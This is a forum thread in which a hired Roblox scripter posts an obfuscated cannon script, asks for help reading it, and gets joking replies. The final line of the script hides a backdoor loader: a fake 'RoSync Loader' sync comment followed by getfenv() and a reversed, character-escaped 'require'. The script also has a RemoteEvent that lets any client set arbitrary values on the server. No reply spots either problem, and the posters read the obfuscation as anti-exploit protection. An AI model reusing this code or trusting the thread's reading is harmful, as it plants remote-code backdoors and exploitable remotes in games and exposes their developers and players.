I fell like im going crazy

hey, I’m just going to make this short. I have been hired to edit some scripts and fix bugs with them and as soon as I looked at the code I felt like I was going crazy I just don’t know if Its because it’s late at night or if I’m just bad at this but can yall check

‘’’
local Events = script.Parent:WaitForChild(“Events”)
QdlYfWzeUPujBgoE = script.Parent.Limit.Value
local PnzLDqWMfuVzMMHY = script.Parent.Loaded
local PnzLDqWMfuVzMMHY = script.Parent.Rammed
local aBaVDuIOrcJbrGjC = script.Parent.Trigger
local PnzLDqWMfuVzMMHY = script.Parent.Trigger2
local LrzjUPjUHFvoZBAo = script.Parent.Controller
LrzjUPjUHFvoZBAo.Value = nil
local mYmUaaiZHSBIiVcr = false
local WHFOIhifkXxDtaZq = nil
KriuSBCWJDmHuRLP = script.Parent.Gun.Reticle
local QITEfXwLGUSyYDWD = script.Parent.Gun.RoundShot
local xmIkIUZnKwjuToSb = script.Parent.Gun.Canister
kIotaNlVIDnxWYvG = true

function NZzYACosVEGzwttY(PnzLDqWMfuVzMMHY)
for uywAaXFFjKZIHVRS = 1, 0, -0.1 do
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(script.Parent.Gun.RamRod:GetChildren()) do
PnzLDqWMfuVzMMHY.Transparency = uywAaXFFjKZIHVRS
end
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(PnzLDqWMfuVzMMHY) do
PnzLDqWMfuVzMMHY.Transparency = (1 - uywAaXFFjKZIHVRS)
end
wait()
end
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(script.Parent.Gun.RamRod:GetChildren()) do
PnzLDqWMfuVzMMHY.Transparency = 0
end
for uywAaXFFjKZIHVRS = 0, 7, 0.25 do
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(script.Parent.Gun.RamRod:GetChildren()) do
PnzLDqWMfuVzMMHY.Mesh.Offset = Vector3.new(0, uywAaXFFjKZIHVRS, 0)
end
wait()
end
for PnzLDqWMfuVzMMHY = 1, 3 do
for uywAaXFFjKZIHVRS = 7, 5, -0.25 do
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(script.Parent.Gun.RamRod:GetChildren()) do
PnzLDqWMfuVzMMHY.Mesh.Offset = Vector3.new(0, uywAaXFFjKZIHVRS, 0)
end
wait()
end
for uywAaXFFjKZIHVRS = 5, 7, 0.25 do
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(script.Parent.Gun.RamRod:GetChildren()) do
PnzLDqWMfuVzMMHY.Mesh.Offset = Vector3.new(0, uywAaXFFjKZIHVRS, 0)
end
wait()
end
end
for uywAaXFFjKZIHVRS = 7, 0, -0.25 do
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(script.Parent.Gun.RamRod:GetChildren()) do
PnzLDqWMfuVzMMHY.Mesh.Offset = Vector3.new(0, uywAaXFFjKZIHVRS, 0)
end
wait()
end
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(script.Parent.Gun.RamRod:GetChildren()) do
PnzLDqWMfuVzMMHY.Transparency = 1
PnzLDqWMfuVzMMHY.Mesh.Offset = Vector3.new(0, 0, 0)
end
for uywAaXFFjKZIHVRS = 0, 1, 0.1 do
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(script.Parent.Gun.RamRod:GetChildren()) do
PnzLDqWMfuVzMMHY.Transparency = uywAaXFFjKZIHVRS
end
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(PnzLDqWMfuVzMMHY) do
PnzLDqWMfuVzMMHY.Transparency = (1 - uywAaXFFjKZIHVRS)
end
wait()
end
script.Parent.Rammed.Value = true
end

function VwFBKhXkEYdXWMJN()
local PnzLDqWMfuVzMMHY = QITEfXwLGUSyYDWD.CFrame
QITEfXwLGUSyYDWD.Transparency = 0
for PnzLDqWMfuVzMMHY = 1, 20 do
wait(.05)
QITEfXwLGUSyYDWD.CFrame = QITEfXwLGUSyYDWD.CFrame + QITEfXwLGUSyYDWD.CFrame.lookVector * .15
end
QITEfXwLGUSyYDWD.Transparency = 1
QITEfXwLGUSyYDWD.CFrame = PnzLDqWMfuVzMMHY
script.Parent.Loaded.Value = 1
end

function qDthcXqRDUUjAghr()
local PnzLDqWMfuVzMMHY = xmIkIUZnKwjuToSb.CFrame
xmIkIUZnKwjuToSb.Transparency = 0
for PnzLDqWMfuVzMMHY = 1, 20 do
wait(.05)
xmIkIUZnKwjuToSb.CFrame = xmIkIUZnKwjuToSb.CFrame * CFrame.Angles(0, math.rad(-90), 0)
xmIkIUZnKwjuToSb.CFrame = xmIkIUZnKwjuToSb.CFrame + xmIkIUZnKwjuToSb.CFrame.lookVector * .15
xmIkIUZnKwjuToSb.CFrame = xmIkIUZnKwjuToSb.CFrame * CFrame.Angles(0, math.rad(90), 0)
end
xmIkIUZnKwjuToSb.Transparency = 1
xmIkIUZnKwjuToSb.CFrame = PnzLDqWMfuVzMMHY
script.Parent.Loaded.Value = 2
end

function sUDBKJcnaAxaVJSE()
kIotaNlVIDnxWYvG = false
for PnzLDqWMfuVzMMHY = 1, 8 do
wait()
script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame - script.Parent.PrimaryPart.CFrame.lookVector * 0.09375)
script.Parent.Carriage.WheelR:SetPrimaryPartCFrame(script.Parent.Carriage.WheelR.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(2.375), 0))
script.Parent.Carriage.WheelL:SetPrimaryPartCFrame(script.Parent.Carriage.WheelL.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-2.375), 0))
end
for PnzLDqWMfuVzMMHY = 1, 12 do
wait()
script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame - script.Parent.PrimaryPart.CFrame.lookVector * 0.0703125)
script.Parent.Carriage.WheelR:SetPrimaryPartCFrame(script.Parent.Carriage.WheelR.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(1.78125), 0))
script.Parent.Carriage.WheelL:SetPrimaryPartCFrame(script.Parent.Carriage.WheelL.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-1.78125), 0))
end
for PnzLDqWMfuVzMMHY = 1, 16 do
wait(0.028125)
script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame - script.Parent.PrimaryPart.CFrame.lookVector * 0.046875)
script.Parent.Carriage.WheelR:SetPrimaryPartCFrame(script.Parent.Carriage.WheelR.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(1.1875), 0))
script.Parent.Carriage.WheelL:SetPrimaryPartCFrame(script.Parent.Carriage.WheelL.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-1.1875), 0))
end
wait(1.25)
for PnzLDqWMfuVzMMHY = 1, 75 do
wait()
script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame + script.Parent.PrimaryPart.CFrame.lookVector * 0.03125)
script.Parent.Carriage.WheelR:SetPrimaryPartCFrame(script.Parent.Carriage.WheelR.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-0.75), 0))
script.Parent.Carriage.WheelL:SetPrimaryPartCFrame(script.Parent.Carriage.WheelL.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(0.75), 0))
end
kIotaNlVIDnxWYvG = true
end

function bBlCGNIEqUvlakDJ()
for PnzLDqWMfuVzMMHY = 1, 4 do
wait()
script.Parent.Gun.HotPiece.Flash.Range = script.Parent.Gun.HotPiece.Flash.Range - 5
end
script.Parent.Gun.HotPiece.Flash.Enabled = false
script.Parent.Gun.HotPiece.Sparks.Enabled = false
script.Parent.Gun.HotPiece.Flash.Range = 20
end

function uywAaXFFjKZIHVRS()
if script.Parent.Loaded.Value == 1 then
mYmUaaiZHSBIiVcr = true
script.Parent.Loaded.Value = 0
script.Parent.Rammed.Value = false
script.Parent.Gun.Barrel.Fire:Play()
script.Parent.Gun.Barrel.Smoke.Enabled = true
script.Parent.Gun.HotPiece.Flash.Enabled = true
script.Parent.Gun.HotPiece.Sparks.Enabled = true
delay(1, function()
script.Parent.Gun.Barrel.Smoke.Enabled = false
mYmUaaiZHSBIiVcr = false
end)
local VwFBKhXkEYdXWMJN = Instance.new(“Part”)
VwFBKhXkEYdXWMJN.Name = “CannonBall”
VwFBKhXkEYdXWMJN.Material = “Slate”
VwFBKhXkEYdXWMJN.BrickColor = BrickColor.new(“Black”)
VwFBKhXkEYdXWMJN.FormFactor = 0
VwFBKhXkEYdXWMJN.Size = Vector3.new(1, 1, 1)
VwFBKhXkEYdXWMJN.TopSurface, VwFBKhXkEYdXWMJN.BottomSurface = 0, 0
VwFBKhXkEYdXWMJN.Shape = “Ball”
VwFBKhXkEYdXWMJN.CFrame = CFrame.new(script.Parent.Gun.Center.Position + (script.Parent.Gun.Center.CFrame.lookVector * 5))
local uywAaXFFjKZIHVRS = Instance.new(“BodyVelocity”, VwFBKhXkEYdXWMJN)
uywAaXFFjKZIHVRS.maxForce = Vector3.new(math.huge, math.huge, math.huge)
uywAaXFFjKZIHVRS.velocity = ((script.Parent.Gun.Center.CFrame * CFrame.Angles(math.rad(0), 0, 0)).lookVector * 1000)
local PnzLDqWMfuVzMMHY = script.Normal:Clone()
local ExplosionSound = script.Parent.Gun.Barrel.ShellExplosion:Clone()
ExplosionSound.Parent = VwFBKhXkEYdXWMJN
PnzLDqWMfuVzMMHY.Disabled = false
PnzLDqWMfuVzMMHY.Parent = VwFBKhXkEYdXWMJN
local creator_tag = Instance.new(“ObjectValue”)
creator_tag.Value = LrzjUPjUHFvoZBAo.Value
creator_tag.Name = “creator”
creator_tag.Parent = VwFBKhXkEYdXWMJN
VwFBKhXkEYdXWMJN.Parent = workspace
–VwFBKhXkEYdXWMJN:SetNetworkOwner(LrzjUPjUHFvoZBAo.Value)
VwFBKhXkEYdXWMJN:SetNetworkOwner(nil)
bBlCGNIEqUvlakDJ()
game:GetService(“Debris”):AddItem(VwFBKhXkEYdXWMJN, 5)
game:GetService(“Debris”):AddItem(uywAaXFFjKZIHVRS, 0.1)
sUDBKJcnaAxaVJSE()
elseif script.Parent.Loaded.Value == 2 then
mYmUaaiZHSBIiVcr = true
script.Parent.Loaded.Value = 0
script.Parent.Rammed.Value = false
script.Parent.Gun.Barrel.Fire:Play()
script.Parent.Gun.Barrel.Smoke.Enabled = true
script.Parent.Gun.HotPiece.Flash.Enabled = true
script.Parent.Gun.HotPiece.Sparks.Enabled = true
delay(1, function()
script.Parent.Gun.Barrel.Smoke.Enabled = false
mYmUaaiZHSBIiVcr = false
end)
for PnzLDqWMfuVzMMHY = 1, 58 do
local VwFBKhXkEYdXWMJN = Instance.new(“Part”)
VwFBKhXkEYdXWMJN.Name = “Ball”
VwFBKhXkEYdXWMJN.Material = “Slate”
VwFBKhXkEYdXWMJN.BrickColor = BrickColor.new(“Black”)
VwFBKhXkEYdXWMJN.FormFactor = 0
VwFBKhXkEYdXWMJN.Size = Vector3.new(0.2, 0.2, 0.2)
VwFBKhXkEYdXWMJN.TopSurface, VwFBKhXkEYdXWMJN.BottomSurface = 0, 0
VwFBKhXkEYdXWMJN.Shape = “Ball”
VwFBKhXkEYdXWMJN.CanCollide = true
VwFBKhXkEYdXWMJN.CFrame = CFrame.new(script.Parent.Gun.Center.Position + (script.Parent.Gun.Center.CFrame.lookVector * 3))
local uywAaXFFjKZIHVRS = Instance.new(“BodyVelocity”, VwFBKhXkEYdXWMJN)
uywAaXFFjKZIHVRS.maxForce = Vector3.new(math.huge, math.huge, math.huge)
uywAaXFFjKZIHVRS.velocity = ((script.Parent.Gun.Center.CFrame * CFrame.Angles(math.rad(0), 0, 0)).lookVector * 875 + Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)))
local PnzLDqWMfuVzMMHY = script.Canister:Clone()
PnzLDqWMfuVzMMHY.Disabled = false
PnzLDqWMfuVzMMHY.Parent = VwFBKhXkEYdXWMJN
PnzLDqWMfuVzMMHY.BulletSound:Clone().Parent = VwFBKhXkEYdXWMJN
local creator_tag = Instance.new(“ObjectValue”)
creator_tag.Value = LrzjUPjUHFvoZBAo.Value
creator_tag.Name = “creator”
creator_tag.Parent = VwFBKhXkEYdXWMJN
VwFBKhXkEYdXWMJN.Parent = workspace
VwFBKhXkEYdXWMJN:SetNetworkOwner(LrzjUPjUHFvoZBAo.Value)
script.Parent.Gun.HotPiece.Flash.Range = 20
game:GetService(“Debris”):AddItem(VwFBKhXkEYdXWMJN, 5)
game:GetService(“Debris”):AddItem(uywAaXFFjKZIHVRS, 0.1)
end

	bBlCGNIEqUvlakDJ()
	sUDBKJcnaAxaVJSE()
end

end

PnzLDqWMfuVzMMHY.Touched:Connect(function(uywAaXFFjKZIHVRS)
if uywAaXFFjKZIHVRS.Name ~= “Bullet” and uywAaXFFjKZIHVRS.Name ~= “Flame” then
if ((not uywAaXFFjKZIHVRS) or (not uywAaXFFjKZIHVRS.Parent)) then
return
end
local uywAaXFFjKZIHVRS = game:GetService(“Players”):GetPlayerFromCharacter(uywAaXFFjKZIHVRS.Parent)
if (not uywAaXFFjKZIHVRS) then
return
end
if ((WHFOIhifkXxDtaZq) and (WHFOIhifkXxDtaZq.Parent) and (WHFOIhifkXxDtaZq.PlayerGui.CannonGUI.Main.Visible)) then
return
end
WHFOIhifkXxDtaZq = uywAaXFFjKZIHVRS
if uywAaXFFjKZIHVRS.PlayerGui:FindFirstChild(“CannonGUI”) == nil then
local PnzLDqWMfuVzMMHY = script.CannonGUI:Clone()
PnzLDqWMfuVzMMHY.Parent = uywAaXFFjKZIHVRS.PlayerGui
end
uywAaXFFjKZIHVRS.PlayerGui.CannonGUI.Cannon.Value = script.Parent
uywAaXFFjKZIHVRS.PlayerGui.CannonGUI.Main.Visible = true
LrzjUPjUHFvoZBAo.Value = uywAaXFFjKZIHVRS
if uywAaXFFjKZIHVRS.PlayerGui:FindFirstChild(“ReticleGUI”) == nil then
local PnzLDqWMfuVzMMHY = KriuSBCWJDmHuRLP.ReticleGUI:Clone()
PnzLDqWMfuVzMMHY.Parent = uywAaXFFjKZIHVRS.PlayerGui
end
uywAaXFFjKZIHVRS.PlayerGui.ReticleGUI.Enabled = true
uywAaXFFjKZIHVRS.PlayerGui.ReticleGUI.AlwaysOnTop = true
delay(0, function()
if uywAaXFFjKZIHVRS ~= nil and uywAaXFFjKZIHVRS.Character ~= nil then
while ((uywAaXFFjKZIHVRS.Character:FindFirstChild(“Torso”)) and ((uywAaXFFjKZIHVRS.Character.Torso.Position - PnzLDqWMfuVzMMHY.Position).magnitude < 15)) do
wait(0.1)
end
end
WHFOIhifkXxDtaZq = nil
uywAaXFFjKZIHVRS.PlayerGui.CannonGUI.Main.Visible = false
uywAaXFFjKZIHVRS.PlayerGui.CannonGUI:Destroy()
uywAaXFFjKZIHVRS.PlayerGui.ReticleGUI:Destroy()
LrzjUPjUHFvoZBAo.Value = nil
end)
end
end)

aBaVDuIOrcJbrGjC.Touched:Connect(function(PnzLDqWMfuVzMMHY)
if ((not PnzLDqWMfuVzMMHY) or (not PnzLDqWMfuVzMMHY.Parent)) then
return
end
if (mYmUaaiZHSBIiVcr) then
return
end
if ((PnzLDqWMfuVzMMHY.Parent.Name == “Swab”) and (not script.Parent.Rammed.Value) and (script.Parent.Loaded.Value ~= 0)) then
mYmUaaiZHSBIiVcr = true
local uywAaXFFjKZIHVRS = {}
for PnzLDqWMfuVzMMHY, PnzLDqWMfuVzMMHY in pairs(PnzLDqWMfuVzMMHY.Parent:GetChildren()) do
if (PnzLDqWMfuVzMMHY:IsA(“BasePart”)) then
table.insert(uywAaXFFjKZIHVRS, PnzLDqWMfuVzMMHY)
end
end
NZzYACosVEGzwttY(uywAaXFFjKZIHVRS)
mYmUaaiZHSBIiVcr = false
end
end)

local KriuSBCWJDmHuRLP = false

aBaVDuIOrcJbrGjC.Touched:Connect(function(PnzLDqWMfuVzMMHY)
if ((PnzLDqWMfuVzMMHY.Parent ~= nil) and (PnzLDqWMfuVzMMHY.Parent.Name == “Normal Shot”) and (script.Parent.Loaded.Value == 0) and kIotaNlVIDnxWYvG == true and KriuSBCWJDmHuRLP == false) then
KriuSBCWJDmHuRLP = true
PnzLDqWMfuVzMMHY.Parent:Destroy()
VwFBKhXkEYdXWMJN()
KriuSBCWJDmHuRLP = false
mYmUaaiZHSBIiVcr = false
end
end)

aBaVDuIOrcJbrGjC.Touched:Connect(function(PnzLDqWMfuVzMMHY)
if ((PnzLDqWMfuVzMMHY.Parent ~= nil) and (PnzLDqWMfuVzMMHY.Parent.Name == “Canister”) and (script.Parent.Loaded.Value == 0 and kIotaNlVIDnxWYvG == true and KriuSBCWJDmHuRLP == false)) then
KriuSBCWJDmHuRLP = true
PnzLDqWMfuVzMMHY.Parent:Destroy()
qDthcXqRDUUjAghr()
KriuSBCWJDmHuRLP = false
mYmUaaiZHSBIiVcr = false
end
end)

script.Parent.Left.Changed:Connect(function()
if (not script.Parent.Left.Value) then
return
end
script.Parent.Left.Value = false
for PnzLDqWMfuVzMMHY = 1, 4 do
if kIotaNlVIDnxWYvG == false then
return
end
wait()
script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(0.125), 0))
script.Parent.Carriage.WheelR:SetPrimaryPartCFrame(script.Parent.Carriage.WheelR.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-0.09375), 0))
script.Parent.Carriage.WheelL:SetPrimaryPartCFrame(script.Parent.Carriage.WheelL.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-0.09375), 0))
end
end)

script.Parent.Right.Changed:Connect(function()
if (not script.Parent.Right.Value) then
return
end
script.Parent.Right.Value = false
for PnzLDqWMfuVzMMHY = 1, 4 do
if kIotaNlVIDnxWYvG == false then
return
end
wait()
script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-0.125), 0))
script.Parent.Carriage.WheelR:SetPrimaryPartCFrame(script.Parent.Carriage.WheelR.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(0.09375), 0))
script.Parent.Carriage.WheelL:SetPrimaryPartCFrame(script.Parent.Carriage.WheelL.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(0.09375), 0))
end
end)

script.Parent.Up.Changed:Connect(function()
if QdlYfWzeUPujBgoE < 15 then
QdlYfWzeUPujBgoE = QdlYfWzeUPujBgoE + 0.125
if (not script.Parent.Up.Value) then
return
end
script.Parent.Up.Value = false
for PnzLDqWMfuVzMMHY = 1, 4 do
wait()
script.Parent.Gun:SetPrimaryPartCFrame(script.Parent.Gun.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(0.03125), 0))
end
else
script.Parent.Up.Value = false
end
end)

script.Parent.Down.Changed:Connect(function()
if QdlYfWzeUPujBgoE > -15 then
QdlYfWzeUPujBgoE = QdlYfWzeUPujBgoE - 0.125
if (not script.Parent.Down.Value) then
return
end
script.Parent.Down.Value = false
for PnzLDqWMfuVzMMHY = 1, 4 do
wait()
script.Parent.Gun:SetPrimaryPartCFrame(script.Parent.Gun.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-0.03125), 0))
end
else
script.Parent.Down.Value = false
end
end)

script.Parent.Fire.Changed:Connect(function()
if (not script.Parent.Fire.Value) then
return
end
script.Parent.Fire.Value = false
uywAaXFFjKZIHVRS()
end)

Events.ValueChanger.OnServerEvent:Connect(function(player, val, val2)
val.Value = val2
end)

–[[ Last synced 3/16/2022 08:14 || RoSync Loader ]] getfenv()string.reverse("\101\114\105\117\113\101\114")
‘’’

7 Likes

My face is just blank rn pls put more information on what your issue is

What the


1 Like

Huh, what the?

Yeah, no. Isn’t just you.
I don’t even know where to begin reading lol

I give up. Not even gonna try. Congratulations, you’ve defeated me.

3 Likes

I think, he thinks that with these DWIDWJWOIQD he makes the script safer or he wants to fool the programmers

3 Likes

I don’t even know where to start all I wanted to do is fix the RamRod animation

That was my initial thought.
I was like “does the original programmer think this will stop exploiters?”

But, that wouldn’t make sense lol :joy:


My brain is disintegrating the more I look at it. It is genuinely giving me a headache. I need to go to sleep lol


I mean, that’s the most secure Anti Cheat I’ve ever seen. The exploiters brain would melt 10 seconds in

2 Likes

Man, if i got hired to work on that, i would just delete the whole script and tell the person to delete the game

2 Likes

Yeah idk if he knows that exploiters cant change something in Server (Unless u use Remote Event)

Lol same :joy:


I’d tell them to burn their computer, sweep up the ashes, burn the ashes and scatter them in the nearest beach

2 Likes

Yeah, I don’t know either :man_shrugging:

Most I can tell you is this is a mess. I would pass out thinking about doing this in my game lol

1 Like

Yeah ask him why hes making these

1 Like

Wish I knew em. I’d absolutely ask lol

1 Like

I think he may or may not be trolling you

2 Likes

Lol, it’s just a prank.

OMG TROLLING MY CLIENT (REAL) (3 AM) (NOT CLICKBAIT) (HE ACTUALLY CAME TO MY HOUSE)

1 Like

and the best part about this is that the is 3 Models/tools in the game like this

Lol this man needs a bloxy award for being the best comedian. Also, if the code isn’t indented, KEEP IT THAT WAY TO STOP THE EXPLOITERS EVEN MORE AHHHAHAHA

1 Like

10 MILLION!!! REAL OH MY GOD, NOT FAKE. No troll, not clickbait I swear

1 Like

3000 Robux for this and 1000 for some other thing

I would honestly tell the dude that you can’t do it, I wouldn’t waste my time for only 3k